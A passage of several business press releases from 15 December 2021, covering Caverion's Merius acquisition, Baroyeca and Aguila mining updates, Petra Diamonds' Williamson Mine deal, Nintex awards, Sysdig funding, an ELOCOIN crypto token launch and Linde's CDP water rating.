future ecology by working in integration with 'Make It Wild' to plant a tree per person present at the Summit. This was aligned with previous campaigns run by TBD that highlighted companies that have gone beyond their standard activities to pursue a greener society for the next generation. In this regard, Paolo Zanini, TBD Founder and CEO, said: "We couldn't call upon others to be better without typifying it ourselves. Because real progress is made together, in collaboration". This was just one of TBD's endeavours to bring to fruition the fairest and most environmentally respectful future for all. Already the company looks forward towards COP27, when the next Vision 2045 Summit - Egypt , will be hosted. The event will undoubtedly build upon the relationships and progress made from Vision 2045 Edinburgh and expand to connect yet more like minded organisations seeking to have a positive impact. Companies featured in this launch: Atlassian, AXA Investment Managers, Biobest Group, CIBC, Compass Group, City Of Tampere, Darling Ingredients, Petra Group, The Boeing Company, Schwarz Gruppe (Lidl, Kaufland, PreZero & Schwarz Produktion), SGB-SMIT Group, Siemens Energy, Stadler Rail, Swiss Post, United Overseas Bank Limited, Wahl Clipper Corporation. About TBD Media Group: TBD Media Group is an international, purpose-driven, media developer that helps companies, organisations and governments tell their brand stories in a human and direct way. Learn more at https://www.tbdmediagroup.com/ HELSINKI, Dec. 15, 2021 /PRNewswire/ -- Caverion has today signed an agreement to acquire the industrial design and advisory business of the Finnish company Merius Oy. Merius Oy provides surveying, design and consulting services for industrial investments by using 3D digitisation, virtual and visualisation technologies. The acquisition includes the reality capture, technical design and consulting, project management and visual communication services offered by Merius Oy. The software business of the company is excluded from the transaction and will continue to operate under the name Merius Oy. The acquisition complements the design and advisory services of Caverion Industry to provide added value in industrial plant investments and to utilise digital design technologies. With the digital twin modelling and visualisation services, Caverion further strengthens its expertise in plant design and software solutions to provide customers with clear modelling of plant investments and life cycle projects. As a result of the transaction, 20 experts from Kokkola, Jyvaskyla, Oulu and Kuusamo will join Caverion. A completely new unit for design and advisory services will also be set up in Kokkola together with Caverion's current design unit. After the transaction, Caverion will have approximately 180 industrial design experts in 12 locations in Finland. "We have focused on streamlining the industrial design and implementation phases, by providing stakeholders with easy-to-understand information on difficult-to-understand issues. Our services have improved collaboration between stakeholders and brought significant cost benefits to projects. We have made unprejudiced use of the latest approaches and imaging technologies in our service solutions. This way, we have contributed to the development of our industry for the better. The acquisition will unlock cost benefits by providing an excellent distribution channel for expert services and Caverion's resources will better enable the development and scalability of services," says Hannu Sarja, CEO, Merius Oy. "The acquisition brings a distinct addition to our service offering for demanding industrial design projects, as we will be able to illustrate our designs using visual services and modelling systems. The new specialists, together with our already strong team, will lift our industrial design and professional services business to a whole new level," says Elina Engman, Head of Caverion Industry division. For more information, please contact: Elina Engman, Executive Vice President, Caverion Industry, tel. +358 50 351 4673, elina.engman@caverion.com Pekka Vattulainen, Head of Design & Advisory Services, Caverion Industry, tel. +358 50 597 0205, pekka.vattulainen@caverion.com Martti Ala-Harkonen, Chief Financial Officer, Caverion Corporation, tel. +358 40 737 6633, martti.ala-harkonen@caverion.com Milena Hggstrom, Head of Investor Relations and External Communications, Caverion Corporation, tel. +358 40 5581 328, milena.haeggstrom@caverion.com This information was brought to you by Cision http://news.cision.com https://news.cision.com/caverion/r/caverion-strengthens-its-capabilities-in-industrial-design-services-and-acquires-the-intelligent-des,c3472038 The following files are available for download: Vancouver, British Columbia--(Newsfile Corp. - December 15, 2021) - BAROYECA GOLD & SILVER INC. (TSXV: BGS) (the "Company") is pleased to announce it signed a Letter of Intent to acquire 200 hectares to the south of and contiguous to its Santa Barbara gold project in Bolivar, Colombia (See Fig. 1) bringing the total of the project to 310ha (the "Transaction"). The subject property includes a past-producing artisanal gold mine. Raul Sanabria, President of Baroyeca says: "The acquisition of this additional ground secures the southwestern extension along strike of the already identified vein sets and increases an extra 60% our land position in the area to an approximately 2,100m by 1,800m block. The new area includes a past-producing gold mine that is known for recovering high-grade gold from near surface, from a parallel vein similar to the one Baroyeca is currently developing as an exploratory tunnel, and is less than 150m from our Pilot Processing Plant." Under the LOI, in exchange for the Vendor transferring the approx. 200ha (NE quadrant of the 0-439 mining title) upon closing of the Transaction, Baroyeca agrees to pay to the Vendors a total of USD$250,000 in cash over three payments and to issue to the Vendor USD$250,000 worth of shares in the capital of Baroyeca in three tranches with the number of shares to be determined using the average closing price for the five trading days prior to each issuance date. Payments will be based on satisfaction of the following steps by, or on behalf, of the Vendor: 1. Filing the title transfer with the Colombian Mining Agency (the "ANM") in the name of Baroyeca's Colombia subsidiary company on signing of the definitive agreement; 2.The ANM issuing the Official Resolution approving the transfer of the mining rights to Baroyeca's Colombia subsidiary company; and 3. Registering the mining title in the name of Baroyeca's Colombia subsidiary company in the Colombian Mining Registry. The LOI is non-binding and provides an exclusivity period until February 8, 2022 for the parties to negotiate a definitive agreement. The Transaction is subject to acceptance for filing by the TSX Venture Exchange. During the period of the processing of title transfer, the Company will be allowed to operate the project by means of an autonomous exclusive operation contract. The projected southwest extension of some of the Santa Barbera veins continues onto the 0-439C2 property. Evidence consists of a series of pits and trenches made by artisanal miners in the past, which were recently mapped and georeferenced by Baroyeca's geologists. The 0-439C2 property is host to the abandoned Mariana mine which was previously sampled by a Qualified Person in 2013-2014. Results of the historical sampling are included in the company's NI43-101 report on the Santa Barbara project under the section "Adjacent Properties" and are in line with the Santa Barbara vein style of mineralization, grades and strike direction. Fig. 1. Location Map of the Santa Barbara project and 0-439-C2 property. To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/7881/107668_e8dee29434f67a22_001full.jpg About Baroyeca Gold & Silver Inc. Baroyeca Gold & Silver Inc. is a mineral exploration company focused on high-grade silver and gold projects located in Colombia. Baroyeca's flagship asset is the high-grade Atocha Silver-Gold Project located in Tolima Department, Colombia. The Company also holds an option to acquire a 100% interest in the Santa Barbara Property, Bolivar Department, Colombia, which is renowned for its high-grade gold mineralization and vein density. Current exploration activities on the Santa Barbara Property involve the bulk sampling of vein structures, which material then feeds into a trial production facility which has consistently been producing gold for over a year. The revenue from the sale of produced gold defrays part of the operating costs. The Company is planning to expand these activities. The Company's Board and senior management are committed to creating shareholder value through the discovery process, careful allocation of capital, and environmentally and socially responsible mineral exploration. Qualified Person Raul Sanabria, M.Sc., P.Geo., President of Baroyeca Gold & Silver Inc. and a qualified person ("QP") as defined by Canadian National Instrument 43-101, has reviewed and approved the technical information contained in this release. BAROYECA GOLD & SILVER INC. Per: "Raul Sanabria" Raul Sanabria, President FOR INFORMATION CONTACT: Rick Wilson - (604) 351-3599 Neither the TSX Venture Exchange nor its Regulation Services Provider accepts responsibility for the adequacy or the accuracy of this release. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107668 15 December 2021 LSE: PDL Petra Diamonds Limited ("Petra" or the "Company" or the "Group") Execution of Memorandum of Understanding with Caspian Limited regarding sale of shares in Williamson Diamonds Limited Petra Diamonds Limited announces that it has executed a non-binding Memorandum of Understanding ("MoU") to sell 50% (less one share) of the entity that holds Petra's shareholding in Williamson Diamonds Limited ("WDL"), along with a pro rata portion of shareholder loans owed by WDL, to Caspian Limited or its nominee ("Caspian") for a total consideration of US$15 million. Caspian is the long-term technical services contractor at the Williamson Mine in Tanzania. WDL is the operator of the Williamson Mine. WDL is currently 25% owned by the Government of Tanzania and 75% owned by Petra, with Petra having acquired its majority interest in WDL in 2009. However, further to the Framework Agreement with the Government of Tanzania announced on 13 December 2021, which provides for a capital restructuring of the WDL entity, Petra's effective interest is due to decrease to 63% and the Government of Tanzania's to increase to 37%. Upon completion of the transactions contemplated by the MoU and upon the capital restructuring in the aforementioned Framework Agreement becoming effective, Petra and Caspian will each indirectly hold a 31.5% stake in WDL but with Petra retaining a controlling interest in WDL. Caspian's purchase will be funded through the settlement of US$11.1 million of past technical services payments owed by WDL to Caspian, including services rendered during the recent restart of operations following the care and maintenance period, with the remaining amount being funded by Caspian rendering US$3.9 million of technical services to WDL in order to ramp-up operations at the Williamson Mine. The transactions in the MoU are subject to Petra and Caspian agreeing definitive transaction agreements, including a share purchase agreement and a shareholders' agreement, with the parties seeking to agree those transaction agreements in early CY 2022. The sale of the 50% stake in the entity that holds Petra's shares in WDL is subject to the parties obtaining all necessary Governmental, regulatory and lender approvals, including approvals from the Tanzanian Mining Commission, the Tanzanian Fair Competition Commission and The Bank of Tanzania, and a binding ruling from the Tanzania Revenue Authority on the tax treatment of the transaction. The parties are seeking to obtain such approvals by the end of H1 CY 2022. As noted in the Company's FY 2021 Preliminary Results released on 14 September 2021, the Board decided to review its strategic options at Williamson which resulted in the asset being classified as an asset held for sale for financial reporting purposes. The transaction announced today will see Petra consolidating Williamson's operating and financial results, with an appropriate recognition of non-controlling interests attributable to both Caspian and the Government of Tanzania. As announced in the Company's Q1 FY 2022 Trading Update dated 26 October 2021, production at Williamson has recommenced post the care and maintenance period and is expected to ramp-up over the course of FY 2022, with estimated production at the Williamson Mine in FY 2022 of 0.22 to 0.27 Mcts. Petra will continue to meet its obligations under the settlement it reached on 12 May 2021 in relation to claims brought in London by the UK law firm Leigh Day on behalf of a number of anonymous claimants. This includes the design and implementation of a non-judicial Independent Grievance Mechanism to address allegations of human rights impacts at the Williamson Mine, and the funding of various restorative and community programmes intended to provide long-term sustainable support to the communities living around the mine. Richard Duffy, Chief Executive of Petra, commented: "We are very pleased to be partnering with Caspian, who bring considerable local and mining experience. This will assist us in optimising the orebody for the benefit of all of Williamson's stakeholders, both in the short term as we continue to ramp-up operations and in the longer term to fully realise the mine's potential in an improved economic environment. Our new arrangement with Caspian, following the Framework Agreement signed with the Government of Tanzania on 13 December, puts Williamson on a very solid basis for the future. The reduction in Petra's equity interest in to WDL, from 75% to 31.5% while still retaining control, both reduces Petra's exposure in line with our stated objectives outlined in our Preliminary Results while maintaining a share of the upside that we believe exists following the signing of the Framework Agreement with the Government who continue as partners." Rostam Azizi, Chairman of Caspian, commented: "Caspian is a wholly Tanzanian owned company. It is also Tanzania's largest mining contractor with over 30 years mining related experience. We have been the contractor of choice to most mines in Tanzania and have maintained long and successful relationships with companies such as Petra, De Beers, Barrick and AngloGold Ashanti. In addition, we also own the largest fleet of mining equipment in Tanzania. As a company, we are committed to adopting and adhering to the latest internationally recognised standards throughout all aspects of our business. "We have been contracting at the Williamson Mine, the largest kimberlite diamond mine in the world by surface area for close to 20 years and as such we are particularly pleased to enter into this next phase of our involvement at the mine as co-owners. We recognise its viability in providing sustainable employment and a significant contribution to the Tanzanian economy." This announcement includes inside information as defined in Article 7 of the Market Abuse Regulation No. 596/2014 and is being released on behalf of Petra by the Company Secretary. ~ Ends ~ For further information, please contact: Petra Diamonds, London Telephone: +44 20 7494 8203 Cathy Malins investorrelations@petradiamonds.com Des Kilalea Julia Stone About Petra Diamonds Limited Petra Diamonds is a leading independent diamond mining group and a supplier of gem quality rough diamonds to the international market. The Company's portfolio incorporates interests in three underground producing mines in South Africa (Finsch, Cullinan and Koffiefontein) and one open pit mine in Tanzania (Williamson). Petra's strategy is to focus on value rather than volume production by optimising recoveries from its high-quality asset base in order to maximise their efficiency and profitability. The Group has a significant resource base of ca. 230 million carats, which supports the potential for long-life operations. Petra strives to conduct all operations according to the highest ethical standards and only operates in countries which are members of the Kimberley Process. The Company aims to generate tangible value for each of its stakeholders, thereby contributing to the socio-economic development of its host countries and supporting long-term sustainable operations to the benefit of its employees, partners and communities. Petra is quoted with a premium listing on the Main Market of the London Stock Exchange under the ticker 'PDL'. The Company's US$336.7 million notes due in 2026 are listed (subject to temporary suspension) on the Irish Stock Exchange and admitted to trading on the Global Exchange Market. For more information, visit www.petradiamonds.com. About the Williamson Mine The Williamson Mine was discovered in 1940 by Dr John Williamson, a Canadian Geologist, and is the largest economic primary diamond deposit to have been in near continuous production for over 70 years. The Williamson Mine's Special Licence Area covers an area of 30.6km2 in the Shinyanga province in north-western Tanzania. The mine is an open pit operation based upon the 146 hectare Mwadui kimberlite pipe, which is one of the world's largest economic kimberlites. Despite having been in operation since 1940, the pit is only 120 metres at its deepest point due to the large size of the deposit. The low grade of the deposit is countered by the high value of its diamonds and lends itself well to high volume, bulk mining methods. Williamson is renowned for 'bubblegum' pink diamonds, including the Williamson Pink, which is considered one of the finest pink diamonds ever discovered. It was found in October 1947 weighing 54 carats in the rough. The mine, then owned by the Canadian geologist and royalist Dr John Williamson, gave the diamond to Princess Elizabeth in 1947 as a wedding present. It was cut into a 23 carat round brilliant and set as the centre of a brooch in the form of a jonquil flower, designed and set by Cartier in 1953. The mine also produces beautifully rounded white diamonds of high quality. In FY 2019, the Company achieved the highest level of production at the mine in over forty years, with 399,615 carats produced (FY 2020: 298,130 carats). The Company's current mine plan for Williamson has a life to 2030 but given that the Mwadui kimberlite hosts a major resource of 39.0 Mcts, there is potential to substantially extend the LOM. Industry recognition for Nintex and its commitment to customer success paves the way for organisations to accelerate digital transformation in the New Year with the easy-to-use and powerful capabilities of the Nintex Process Platform LONDON, Dec. 15, 2021 /PRNewswire/ -- Nintex, the global standard for process management and automation, today announced the receipt of the Aragon Research's 2021 Innovation Award for Digital Transaction Management (DTM), following strong recognition for its digital process automation software and the company as a best place to work. Nintex emerged as an Innovator for the DTM market in 2021, which is defined by Aragon Research as "technology providers with a best-in-class technology or service that differentiates them in their respective market" at the Aragon Research Awards Ceremony held virtually at the Aragon Engage conference on 2 December. In recognition of its software innovation, Nintex was honoured to also receive a Leader designation in three Aragon Research Globe Reports in 2021 for the following market categories: Digital Transaction Management, Digital Business Platforms (DBP), and Workflow and Content Automation (WCA). To experience what it is like to be part of the Nintex engineering organisation, watch this video https://www.youtube.com/watch?v=pgZXQW0rtx8 and visit the careers page on Nintex.com for job openings. "At Nintex, we are relentlessly focused on helping organisations digitally transform the way their people work by providing process automation management software solutions that combine power and ease of use," said Nintex CEO Eric Johnson. "As we look towards 2022, the global demand for automation technology will continue to increase as organisational leaders require digital solutions that deliver great experiences for their employees and customers." Multiple channels recognise Nintex Throughout 2021, Nintex has received numerous accolades for its software and company, one of the most recent being Seattle Business Magazine's recognition of the Nintex workplace and culture. Nintex achieved first place in the magazine's Washington's 2021 100 Best Companies To Work For program, based on anonymous survey data submitted by Nintex employees located in the region. Nintex was also recognised by customers who provided feedback on technology in the market to help other buyers make educated purchasing decisions on peer-review sites, resulting in TrustRadius honouring Nintex with a 2021 Tech Cares Award for the second consecutive year. The program celebrates organisations that have contributed directly to combat COVID-19, either with their products, knowledge or financial support, and those that have gone above and beyond to provide strong Corporate Social Responsibility (CSR) programs and workplace culture. Earlier this year, the complete capabilities of the Nintex Process Platform, including Nintex Promapp for process mapping and management and Nintex Workflow for automating business processes, achieved leader rankings in multiple 2021 G2 Grid Reports including Business Process Management (BPM), Process Mining, No-Code Development Platforms, and Rapid Application Development (RAD). The G2 Grid processes aggregate information from customer reviews to score software technology offerings by market presence, sentiment, and usability. Additionally, Nintex's partner program was recognised by The Channel Company in the 2021 CRN Partner Program Guide as a five-star winner for the third consecutive year. Customer success and product innovation remains a priority Nintex's market momentum further accelerated with its June 2021 acquisition of eSignature provider AssureSign, which the company has now integrated with Nintex Workflow Cloud as a native eSign offering known as Nintex AssureSign, and announcing TPG Capital as its new majority investor in October 2021, positioning the company for significant growth. Nintex Process Platform features and functionality highlights this year include: Nintex Workflow Cloud : quarterly releases that expand the next-generation cloud automation platform's capabilities, https://www.nintex.com/using-nintex/nintex-workflow-cloud/whats-new-oct-2021/ : quarterly releases that expand the next-generation cloud automation platform's capabilities, https://www.nintex.com/using-nintex/nintex-workflow-cloud/whats-new-oct-2021/ Federal Risk and Authorisation Management Program's (FedRAMP) In Process designation : Nintex Workflow Cloud for Government allows US government agencies at the state, local, and federal level and their affiliates to safely and securely automate processes in the cloud : Nintex Workflow Cloud for Government allows US government agencies at the state, local, and federal level and their affiliates to safely and securely automate processes in the cloud Nintex Connectors : extend automation with integration to popular systems of record and productivity tools via pre-built connectors that integrate with Webex, Jira, Okta, Microsoft SQL Server, and more : extend automation with integration to popular systems of record and productivity tools via pre-built connectors that integrate with Webex, Jira, Okta, Microsoft SQL Server, and more My Nintex : New workflow tracking provides process owners and workflow participants control and visibility over digital forms, tasks, and workflows in a single dashboard : New workflow tracking provides process owners and workflow participants control and visibility over digital forms, tasks, and workflows in a single dashboard Intelligent PDF Form Converter : AI-driven forms generation tool that easily turns PDFs into dynamic forms : AI-driven forms generation tool that easily turns PDFs into dynamic forms Nintex Promapp : expanded global availability of cloud-based process mapping and management solution, added new language support, and published exception-free SOC 2 Type 2 report on its security controls : expanded global availability of cloud-based process mapping and management solution, added new language support, and published exception-free SOC 2 Type 2 report on its security controls Native eSignature : now integrated with Nintex Workflow Cloud and Nintex Drawloop DocGen for Salesforce : now integrated with Nintex Workflow Cloud and Nintex Drawloop DocGen for Salesforce Nintex K2 Five enhancements : include Style Profile, a powerful in-product designer that leverages clicks, not code, for creating custom themes and branding for forms : include Style Profile, a powerful in-product designer that leverages clicks, not code, for creating custom themes and branding for forms Nintex Solution Accelerator Gallery: 300+ downloadable workflow and process map templates to accelerate digital transformation projects To learn about working at Nintex and to view current job openings, visit www.nintex.com/careers/. Media Contact Kristin Treat Nintex kristin.treat@nintex.com cell: +1 (215) 317-9091 About Nintex Nintex is the global standard for process management and automation. Today more than 10,000 public and private sector organisations across 90 countries turn to the Nintex Platform to accelerate progress on their digital transformation journeys by quickly and easily managing, automating and optimising business processes. Learn more by visiting www.nintex.com and experience how Nintex and its global partner network are shaping the future of Intelligent Process Automation (IPA). Product or service names mentioned herein may be the trademarks of their respective owners. Video - https://www.youtube.com/watch?v=pgZXQW0rtx8 Logo - https://mma.prnewswire.com/media/700078/Nintex_Logo.jpg Funding will accelerate international expansion and investments in partner program, multi-cloud security and talent Appoints new Chief Financial Officer and Chief Human Resources Officer Sysdig, Inc., the unified container and cloud security leader, today announced it has raised a $350 million Series G funding round at a valuation of $2.5 billion bringing total funding to $744 million and more than doubling the company's valuation in eight months. The financing was led by Permira's growth fund. Guggenheim Investments joined this round on behalf of select clients, alongside existing investors Accel, Bain Capital Ventures, DFJ Growth, Glynn Capital, Goldman Sachs, Insight Partners, Next47, Premji Invest Associates, and Third Point Ventures. Read: Sysdig CEO Suresh Vasudevan's blog Sysdig empowers organizations to confidently secure the cloud by providing real-time threat detection to eliminate security blind spots and one-click remediation to close the loop. With the Sysdig platform, teams detect and respond to runtime threats, and continuously manage configurations, permissions, vulnerabilities and compliance for containers, Kubernetes, and cloud services. Sysdig partners with major cloud providers, including Amazon Web Services, Google Cloud Platform, Microsoft Azure, IBM Cloud, Red Hat, and SUSE Rancher. This funding will be used to accelerate Sysdig's global expansion in Europe, the Middle East, Asia-Pacific, and South America, double its headcount in 2022, expand its partner program and invest in a unified multi-cloud security experience across runtime, configurations, permissions, and vulnerabilities. The company's platform is built on an open source foundation, including Falco and open source Sysdig, standards for container and cloud threat detection and incident response. Open source drives transparency and more effective solutions through a community of contributors who crowdsource security policies, report issues, contribute features, and fix bugs. Since contributing Falco to the Cloud Native Computing Foundation, Falco has been downloaded over 37 million times, with a 335% increase since becoming an incubating project in the CNCF in January 2020. Key Sysdig Milestones: Annualized revenue run rate from security more than tripled in the last 12 months. Strong pattern of expansion by customers demonstrated by an annual net revenue retention (NRR) of 149% as of the most recent quarter. Customer base increased 140% year-on-year (YoY), and includes nearly 700 customers. Sysdig has an average annual recurring revenue (ARR) of more than $875,000 across the top 50 purchasing customers. Sysdig's rapid global expansion has led to a doubling in sales and marketing teams YoY with employees across five global offices and in more than 20 countries. In August, Sysdig acquired Apolicy, expanding the Sysdig platform to include infrastructure as code (IaC) security. Sysdig introduced guided remediation for IaC manifests and out-of-the-box integration with GitHub, GitLab, Azure DevOps, and Bitbucket to provide risk and policy feedback on IaC pull requests. Additionally, the company added cloud configuration risk management and cloud infrastructure entitlements management (CIEM) to the Sysdig platform this year. In August, Sysdig was recognized as a Representative Provider in 2021 Gartner Innovation Insight for Cloud-Native Application Protection Platforms Report. [1] Sysdig has emerged as the clear unified container and cloud security leader. The company has experienced a 300 percent increase in Sysdig Secure sales in the last 12 months. Over the last year, the company expanded its SaaS hosting locations from nine to 16, including the addition of Australia earlier this year. Over the past few months, the company has heavily invested in its partner program. On November 1, Sysdig announced all deals outside the Global 500 will be indirect. Quotes Suresh Vasudevan, CEO of Sysdig: "We've seen massive investor interest in Sysdig as the cloud security market is experiencing hyper growth. Cloud adoption has accelerated into the mainstream, and as a result, demand for Sysdig and Falco have skyrocketed. Cloud security teams quickly realize the importance of runtime threat detection for containers and cloud, and Sysdig is the clear choice." Alex Melamud, Principal at Permira: "The generational shift to cloud and containers requires security that is able to detect and respond to threats in real time. The question is no longer if companies will adopt cloud security solutions, but which solution to choose and Sysdig has emerged as the clear unified container and cloud security leader. As a rapidly growing industry leader at scale, Sysdig perfectly aligns with our investment approach, and we look forward to leveraging our global platform, and software and security expertise to help them achieve their growth objectives. Ping Li, Partner at Accel: "Accel partnered with Sysdig early on. We believe that organizations need a unified cloud and container solution that spans development to production. Sysdig has proven its ability to scale, is based on open source, and deployed as SaaS, a winning formula. Today, they are the clear leader in runtime security for cloud and containers." Rory Twomey, Vice President at Guggenheim Investments: "Guggenheim Investments is delighted to help Sysdig further its position as the leader in secure DevOps and address the security challenges of modern cloud applications. We look forward to watching the company capitalize on the significant opportunities ahead of them." Leadership Appointments Sysdig also announced today that Karen Walker has joined the company as Chief Financial Officer and Paul Whitney has joined as Chief Human Resource Officer. Karen brings more than 20 years of experience in senior leadership roles at companies that include, PagerDuty, Uber, Pandora Media, Virgin America, and CBS Interactive. Throughout her career, Karen has scaled finance teams in high growth and global organizations, led IPO readiness, and supported ten acquisitions. Paul has significant international experience supporting organizational performance through cultivating company culture and helping people realize their potential. Prior to joining Sysdig, Paul served as Chief People Officer at Cohesity and Databricks, and he has led two past companies through IPOs. Market Momentum According to Gartner, "By 2023, 70% of all enterprise workloads will be deployed in cloud infrastructure and platform services, up from 40% in 2020." [2] IBM found that the average cost of a breach for companies operating in public cloud is $4.8 million. [3] According to the IBM report, companies that are "further along in their cloud modernization maturity were able to identify and contain breaches 77 days faster than those in the early stages of modernization." The study also found that reducing time to identify and contain a breach significantly reduces the cost of breach. Resources Sysdig customer stories Blog from Sysdig's CEO Background information on Sysdig April 2021 funding announcement About Sysdig Sysdig is driving the standard for securing the cloud, empowering organizations to confidently secure containers, Kubernetes, and cloud services. The Sysdig platform enables teams to secure the build, detect and respond to runtime threats, and continuously manage cloud configurations, permissions and compliance. Sysdig is a SaaS platform built on an open source stack that includes Falco and Sysdig open source, the open standards for runtime threat detection and response. The largest and most security conscious companies rely on Sysdig for container and cloud security. Visit sysdig.com. About Permira Permira is a global investment firm that backs successful businesses with growth ambitions. Founded in 1985, the firm advises funds with assets under management of approximately US$65bn (58bn) and makes long-term majority and minority investments. The Permira funds have made approximately 300 private equity investments in four key sectors: Technology, Consumer, Services and Healthcare. The Permira funds have an extensive track record in tech investing, having invested US$18.7 billion in 67 companies across enterprise SaaS, cybersecurity, digital commerce, fintech and online marketplaces. Permira employs over 350 people in 15 offices across Europe, North America, and Asia. Permira's growth strategy is to back disruptive and market leading companies as they scale to the next level. The Permira growth funds have previously backed and helped scale some of the largest and fastest-growing internet and technology businesses globally, including Klarna, Minted, FlixBus, Mirakl, Zwift, Nexthink, Full Truck Alliance, Relativity, G2, FullStory, Carta, mParticle, and AllTrails. For more information, visit www.permira.com. [1] Gartner, "Innovation Insight for Cloud-Native Application Protection Platforms," Neil MacDonald, Charlie Winckless, 25 August 2021. [2] Gartner, "Hype Cycle for Cloud Security, 2021," Tom Croll, Jay Heiser, 27 July 2021. [3] IBM," How much does a data breach cost?," 2021. Gartner Disclaimer: GARTNER and HYPE CYCLE are registered trademarks and service marks of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission. All rights reserved. Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose. View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005126/en/ Contacts: For Sysdig Amanda McKinney Smith (703) 473-4051 amanda.smith@sysdig.com For Permira Nina Suter Nina.Suter@permira.com +44 207 9594037 James Williams james.williams@permira.com +44 774 7006407 - DAOs, the companies of the future, managed by smart contracts, will make it to the traditional economy, from Wyoming, thanks to ELOCOIN. - The ELO metaverse will allow new DAOs to be hosted in a 100-storey building. - ELOCOIN will be available on December 17, 2021 on Apeswap's SS-IAO NEW YORK, Dec. 15, 2021 /PRNewswire/ -- ELOCOIN, a token which will allow investment from the crypto world into traditional economy companies, adapting DAOs to Wyoming State regulations, and setting a paradigm for value transfer, wealth and jobs creation in the traditional economy, starting from its metaverse. The state of Wyoming is considered an oasis for the cryptocurrency industry in the United States, and since July it is also an oasis for DAOs (Decentralized Autonomous Organizations), being the first North American State to approve legislation acknowledging DAOs as a new kind of limited liability companies (LLCs). Real estate, services, industries, energy, agriculture and finance are the preferred sectors and projects to be launched as DAOs by ELOCOIN, also including medicine, remote healthcare, education, or any company wanting to transition to the DAO model and take part in its launchpad. The ELO metaverse will start with the ELO DAO TOWER (ELO512), which aims to be the "World Dao Center" to bring together the value chain and users of new DAO companies. Here, they can be headquartered and funded, they can interact with the community and receive or provide services easily and securely to all users of the web3 and the metaverse. ELO DAO TOWER, will be 512 meters (1640 feet) tall, with 100 storeys (plus 7 underground), will feature state-of-the-art amenities for residents and visitors to enable the development of the ELO Community within the metaverse. Although the metaverse of the ELO DAO TOWER will first be a virtual space, it will become an actual tower in the future, funded through the ELO DAO launchpad, in the city chosen by the Community. ELOCOIN prepares its "Initial ELO DAO Offering" (IEDO), for companies taking the leap to DeFi, incorporating, thus, traditional economy companies to the DAO model, enabling a transfer between cryptoeconomy and the productive and real world. ELOCOIN will be available on December 17, 2021 on Apeswap's SS-IAO, as a first step to connect traditional economy and DeFi. ELOCOIN https://elo.finance contact@elo.finance https://linktr.ee/Elocoin https://elocoin.medium.com Video: https://youtu.be/t0ZyifU4a10 Photo: https://mma.prnewswire.com/media/1710273/ELO_metaverse.jpg DGAP-News: Linde plc / Key word(s): Sustainability Linde Receives 'A' For Water Stewardship from CDP 15.12.2021 / 12:01 The issuer is solely responsible for the content of this announcement. Linde Receives 'A' For Water Stewardship from CDP Guildford, UK, December 15, 2021 - Linde (NYSE: LIN; FWB: LIN) today announced that it has been awarded an 'A' from CDP for its approach to tackling water security. It is one of only a select group of global companies to achieve the top score. CDP is a global environmental non-profit organization that works with investors representing over $110 trillion in assets to measure companies' risks and opportunities on climate change, water security and deforestation. It uses a detailed methodology to assess nearly 12,000 companies, allocating a score of 'A' to 'D-'. Each company's score is based on comprehensive analysis of its disclosure, awareness and management of environmental risks alongside evidence of best practice. In addition to its 'A' rating for water security, Linde was rated 'A-' for its approach to climate change. "Water scarcity and lack of access to clean water are global challenges affecting individuals, communities and industry," said Tamara Brown, Vice President Sustainability at Linde. "Responsible management of water is a key element of Linde's sustainability strategy and we are honored to be recognized as one of few companies leading the way in stewardship, transparency and impact." Linde helps customers improve their environmental performance and reduce their carbon footprint through high-quality solutions, technologies and services. Linde's water management planning and sustainable productivity efforts helped reduce water use by 300 million gallons in 2020. The company recently announced new greenhouse gas (GHG) emission goals, including a target of 35% absolute emissions reduction by 2035 and climate neutrality by 2050. About Linde Linde is a leading global industrial gases and engineering company with 2020 sales of $27 billion (24 billion). We live our mission of making our world more productive every day by providing high-quality solutions, technologies and services which are making our customers more successful and helping to sustain and protect our planet. The company serves a variety of end markets including chemicals & energy, food & beverage, electronics, healthcare, manufacturing, metals and mining. Linde's industrial gases are used in countless applications, from life-saving oxygen for hospitals to high-purity & specialty gases for electronics manufacturing, hydrogen for clean fuels and much more. Linde also delivers state-of-the-art gas processing solutions to support customer expansion, efficiency improvements and emissions reductions. For more information about the company and its products and services, please visit www.linde.com Contacts: Investor Relations Juan Pelaez Phone: +1 203 837 2213 Email: juan.pelaez@linde.com Media Relations Anna Davies Phone: +44 1483 244705 Email: anna.davies@linde.com 15.12.2021 Dissemination of a Corporate News, transmitted by DGAP - a service of EQS Group AG. The issuer is solely responsible for the content of this announcement. The DGAP Distribution Services include Regulatory Announcements, Financial/Corporate News and Press Releases. Archive at www.dgap.de Vancouver, British Columbia--(Newsfile Corp. - December 15, 2021) - Aguila Copper Corp. (TSXV: AGL) (OTCQB: AGLAF) (WKN: A2DR6E) ("Aguila" or the "Company") is pleased to announce completion of an initial surface mapping and sampling program at the Company's 100% owned Lida copper-silver project. Lida lies in south-central Esmeralda County within the richly gold and copper endowed Walker Lane Mineral Belt. The project is secured by 33 granted BLM lode mining claims covering a total of 2.75 sq km and is easily accessed by two-wheel drive vehicles utilizing existing access. During this initial field sampling and mapping program, Aguila geologists located more than 100 exploration pits, shafts, trenches and small workings (locally known as "dog holes") over an approximate 2km x 1.5km area. In excess of 50 pits and past workings were sampled, photographed and the exposed bedrock mapped (see Figure 1). A total of 57 samples have been sent for assay to ALS Global in Reno, Nevada. Widespread copper carbonate and oxide mineralization was regularly discovered within hydrothermal alteration zones in workings and outcrops in the northern and eastern parts of the claim block. Propylitic and argillitic alteration within quartzite and shale of the Campito Formation were observed in workings and outcrops throughout the area, suggesting potential zonation of a larger buried porphyry system. Figure 1. Map showing location samples taken during the mapping and sampling program. All prospecting pits and shafts were visited during program but samples were only taken where bedrock or waste rock from mining were exposed. To view an enhanced version of Figure 1, please visit: https://orders.newsfilecorp.com/files/7326/107661_cdd1c2f2d437f9fc_002full.jpg Aguila believes the Campito Formation acted as a relatively impermeable "cap" though which hydrothermal fluids vented along structures and through breccia pipes to form the widespread fracture and vein-controlled mineralization found at surface. Limestone with underlying Poleta Formation forms a strong target for skarn or porphyry style copper mineralization. The Company is awaiting assay results, anticipated for Q1 2022. "The Lida project is developing as an excellent drill target for 2022, sitting in a highly mineralized trend with abundant surface 